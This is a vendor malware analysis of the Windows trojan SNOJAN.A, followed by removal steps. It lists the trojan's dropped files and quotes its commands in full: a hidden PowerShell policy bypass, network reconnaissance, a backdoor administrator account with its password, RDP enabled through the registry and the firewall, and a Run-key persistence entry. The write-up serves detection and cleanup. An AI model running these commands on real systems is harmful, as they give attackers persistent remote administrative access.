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Trojan.Win32.SNOJAN.A

September 17, 2022
 Analysis by: Jeffrey Francis Bonaobra
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to certain websites to send and receive information. However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

256,928 bytes

File Type:

DLL

Memory Resident:

Yes

Initial Samples Received Date:

07 Sep 2022

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Public%\debug.ps1 → connects to a URL and deleted afterwards
  • %Public%\config → contains current TCP/IP network configuration and ARP cache table
  • %Public%\lss.exe → connects to a URL
  • %Public%\addebug.exe → installs and executes a legitimate AnyDesk application

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • powershell -windowstyle hidden -ExecutionPolicy Bypass iex %Public%\debug.ps1
  • cmd.exe /c "(ipconfig /all & arp -a) >> %Public%\config
  • %Public%\lss.exe → if executed in a 64 bit environment
  • cmd /c net user RedHat1 HatRed1@ /ADD
  • cmd /c net localgroup administrators RedHat1 /ADD
  • net localgroup "Remote Desktop Users" RedHat1 /add
  • reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSconnections /t REG_DWORD /d 0 /f
  • netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
  • %Public%\addebug.exe → if executed in a 64 bit environment

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
socks = Powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File "%Public%\debug.ps1"

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\Terminal Server
fDenyTSconnections = 0

Other Details

This Trojan connects to the following website to send and receive information:

  • {BLOCKED}.107:443
  • {BLOCKED}.245:443 - if executed in a 64-bit environment

It does the following:

  • It adds the following local group:
    • Remote Desktop Users
  • It adds the following user accounts as administrator:
    • User name: RedHat1
    • Password: HatRed1@
  • It enables remote desktop in Windows firewall.

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.814.05

FIRST VSAPI PATTERN DATE:

15 Sep 2022

VSAPI OPR PATTERN File:

17.815.00

VSAPI OPR PATTERN Date:

16 Sep 2022

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • TROJ.Win32.TRX.XXPE50FFF060

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • socks = Powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File "%Public%\debug.ps1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
    • fDenyTSconnections = 0

Step 6

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Public%\debug.ps1
  • %Public%\config
  • %Public%\lss.exe
  • %Public%\addebug.exe

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.Win32.SNOJAN.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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